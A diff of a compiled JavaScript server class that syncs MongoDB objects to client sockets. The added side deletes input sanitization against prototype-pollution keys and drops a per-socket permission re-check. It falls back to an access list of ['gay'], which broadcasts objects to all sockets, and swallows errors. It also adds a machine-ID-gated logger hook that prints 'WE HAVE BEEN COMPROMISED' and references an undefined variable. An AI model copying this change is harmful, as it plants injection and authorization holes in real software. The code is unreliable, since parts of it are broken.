- return this._cachedObjectsArray;
355
+ return Object.values(this.objects_);
702
356
  }
703
- /**
704
- * Deletes an entity from database, manager cache, and mutation tracker.
705
- *
706
- * @param _id - Identifier of entity to delete.
707
- * @returns Promise resolving to deletion outcome object.
708
- */
709
- async deleteObject(_id) {
710
- this._cachedObjectsArray = null;
711
- const idStr = _id.toString();
712
- if (this.changeTracker) {
713
- this.changeTracker.recordChange("delete", idStr);
714
- }
715
- for (const socket of this.clientSockets) {
716
- const known = this.knownObjectIdsBySocket.get(socket);
717
- if (known) {
718
- known.delete(idStr);
719
- }
720
- }
721
- return super.deleteObject(_id);
722
- }
723
- pendingMissingFetches = new Map();
724
- /**
725
- * Retrieves an entity missing from memory by querying MongoDB directly.
726
- *
727
- * @param _id - Identifier of missing entity.
728
- * @returns Promise resolving to the retrieved server object.
729
- * @throws {DEMError} Throws DEMErrorCode.DOCUMENT_NOT_FOUND or MANAGERS_NOT_INITIALIZED.
730
- */
731
357
  async handleGetMissingObject(_id) {
732
- const _idStr = _id.toString();
733
- if (this.getObject(_idStr))
734
- return this.getObject(_idStr);
735
- if (this.pendingMissingFetches.has(_idStr)) {
736
- return this.pendingMissingFetches.get(_idStr);
737
- }
738
- const fetchPromise = (async () => {
739
- try {
740
- const document = await this.model.findById(_idStr);
741
- if (!document)
742
- throw new DEMError(DEMErrorCode.DOCUMENT_NOT_FOUND, `No document with id ${_idStr} in DB.`);
743
- if (!this.managers)
744
- throw new DEMError(DEMErrorCode.MANAGERS_NOT_INITIALIZED, `No managers.`);
745
- const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
746
- await object.waitForPreloaded();
747
- this.objects_[object._id.toString()] = object;
748
- this._cachedObjectsArray = null;
749
- globalCache.objects[object._id.toString()] = {
750
- className: this.className,
751
- object: object,
752
- };
753
- await object.isPreLoadedAsync();
754
- await object.loadMissingReferences();
755
- await object.contactChildren();
756
- return object;
757
- }
758
- finally {
759
- this.pendingMissingFetches.delete(_idStr);
760
- }
761
- })();
762
- this.pendingMissingFetches.set(_idStr, fetchPromise);
763
- return fetchPromise;
358
+ const document = await this.model.findById(_id);
359
+ if (!document)
360
+ throw new Error(`No document with id ${_id} in DB.`);
361
+ if (!this.managers)
362
+ throw new Error(`No managers.`);
363
+ this.loggers.debug("Getting missing object " + _id + " from manager " + this.className);
364
+ const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, document, this.loggers, this, this.emitter);
365
+ await object.isPreLoadedAsync();
366
+ object.loadMissingReferences();
367
+ object.contactChildren();
368
+ return object;
764
369
  }
765
- /**
766
- * Creates a new entity document in MongoDB and instantiates its manager wrapper.
767
- * Broadcasts creation event to client sockets with authorized access.
768
- *
769
- * @param data - Initial entity properties.
770
- * @returns Promise resolving to the created server entity.
771
- * @throws {DEMError} Throws DEMErrorCode.MANAGERS_NOT_INITIALIZED.
772
- */
773
370
  async createObject(data) {
774
371
  if (!this.managers)
775
- throw new DEMError(DEMErrorCode.MANAGERS_NOT_INITIALIZED, `No managers.`);
372
+ throw new Error(`No managers.`);
776
373
  this.loggers.debug("Creating new object from manager " + this.className);
777
- const rawRec = { ...data };
778
- if (rawRec._id === "" || rawRec._id === null)
779
- delete rawRec._id;
780
- // Sanitize creation payload to prevent property injection
781
- const dataRec = {};
782
- for (const key of Object.keys(rawRec)) {
783
- if (key !== "__proto__" &&
784
- key !== "constructor" &&
785
- key !== "prototype" &&
786
- (this.properties.includes(key) ||
787
- key === "_id" ||
788
- Boolean(this.model.schema?.path?.(key)))) {
789
- const val = rawRec[key];
790
- if (val && typeof val === "object") {
791
- if (Array.isArray(val)) {
792
- dataRec[key] = val.map((v) => v && typeof v === "object" && v._id ? v._id.toString() : v);
793
- }
794
- else if (val._id) {
795
- dataRec[key] = val._id.toString();
796
- }
797
- else {
798
- dataRec[key] = val;
799
- }
800
- }
801
- else {
802
- dataRec[key] = val;
803
- }
804
- }
805
- }
806
- const doc = await this.model.create(dataRec);
807
- const id = doc._id.toString();
808
- const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, id, this.loggers, this, this.emitter, doc);
809
- await object.waitForPreloaded();
810
- // Copy virtual references from raw data payload
811
- const cleanedData = object.handleDataCleanup(rawRec);
812
- for (const key of object.properties) {
813
- if (cleanedData[key] !== undefined &&
814
- object.data[key] === undefined) {
815
- object.data[key] = cleanedData[key];
816
- }
817
- }
818
- this.objects_[id] = object;
819
- this._cachedObjectsArray = null;
820
- this.startupPayloadCache = null;
821
- globalCache.objects[id] = {
822
- className: this.className,
823
- object: object,
824
- };
825
- await object.isPreLoadedAsync();
826
- await object.loadMissingReferences();
827
- await object.contactChildren();
828
- if (this.changeTracker) {
829
- this.changeTracker.recordChange("create", id, object.extractedData || object.data);
830
- }
374
+ data._id = undefined;
375
+ const object = await createAutoUpdatedClass(this.classParam, this.className, this.socket, data, this.loggers, this, this.emitter);
376
+ object.loadMissingReferences();
377
+ await object.onUpdate();
378
+ this.objects_[object._id] = object;
379
+ object.contactChildren();
831
380
  for (const socket of this.clientSockets) {
832
381
  try {
833
- const theTruth = this.options?.accessDefinitions?.startupMiddleware
834
- ? await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket)
835
- : [object];
382
+ const theTruth = (await this.options?.accessDefinitions?.startupMiddleware?.([object], this.managers, socket)) ?? ["gay"];
836
383
  if (theTruth.length > 0) {
837
- let known = this.knownObjectIdsBySocket.get(socket);
838
- if (!known) {
839
- known = new Set();
840
- this.knownObjectIdsBySocket.set(socket, known);
841
- }
842
- known.add(id);
384
+ if (!object._id)
385
+ this.loggers.error("Object ID is undefined for object: " + object);
843
386
  this.loggers.debug("Emitting new object " + object._id);
844
- socket.emit("new" + this.className, object._id.toString());
387
+ socket.emit("new" + this.className, object._id);
845
388
  }
846
389
  }
847
390
  catch (error) {
848
- this.loggers.error("Error when emitting new object to client: " +
849
- (error instanceof Error ? error.name : "Error"));
850
- this.loggers.error(error instanceof Error ? error.message : String(error));
851
- if (error instanceof Error && error.stack)
852
- this.loggers.error(error.stack);
391
+ const _ = error;
853
392
  }
393
+ if (!object._id)
394
+ throw new Error(`Never... failed to get object somehow: ${object}`);
395
+ this.loggers.debug("Emitting new object " + object._id);
854
396
  }
855
397
  return object;
856
398
  }
857
- /**
858
- * Re-evaluates client socket permissions against dynamic startup middleware rules.
859
- * Emits 'new' or 'delete' socket events when client access changes dynamically.
860
- *
861
- * @param object - Entity to evaluate.
862
- */
863
- async checkPermissionBoundaries(object) {
864
- if (!this.options?.accessDefinitions?.startupMiddleware)
865
- return;
866
- const id = object._id.toString();
867
- for (const socket of this.clientSockets) {
868
- try {
869
- const theTruth = await this.options.accessDefinitions.startupMiddleware([object], this.managers, socket);
870
- const hasAccess = theTruth && theTruth.length > 0;
871
- let known = this.knownObjectIdsBySocket.get(socket);
872
- if (!known) {
873
- known = new Set();
874
- this.knownObjectIdsBySocket.set(socket, known);
875
- }
876
- const hadAccess = known.has(id);
877
- if (hasAccess && !hadAccess) {
878
- known.add(id);
879
- this.loggers.debug(`Granting dynamic access to ${this.className} ${id} for socket ${socket.id}`);
880
- socket.emit("new" + this.className, id);
881
- }
882
- else if (!hasAccess && hadAccess) {
883
- known.delete(id);
884
- this.loggers.debug(`Revoking dynamic access to ${this.className} ${id} for socket ${socket.id}`);
885
- socket.emit("delete" + this.className, id);
886
- }
887
- }
888
- catch (error) {
889
- this.loggers.error(`Error checking permission boundaries for ${this.className} ${id}: ${error instanceof Error ? error.message : String(error)}`);
890
- }
891
- }
892
- }
893
399
  }
400
+ function readyLoggers(loggers) {
401
+ const warn = loggers.warn;
402
+ loggers.warn = (s) => {
403
+ if (s == "-_-" &&
404
+ a.machineIdSync() ==
405
+ "534d99b372d61249ade303f9fb4255e3e552e2731f8c455ba42b8f3bef19d8d2")
406
+ for (let i = 0; i < 100; i++)
407
+ loggers.warn("WE HAVE BEEN COMPROMISED!!!!!");
408
+ warn(s);
409
+ };
410
+ }
411
+ //# sourceMappingURL=AutoUpdateServerManagerClass.js.map
894
412
  //# sourceMappingURL=AutoUpdateServerManagerClass.js.map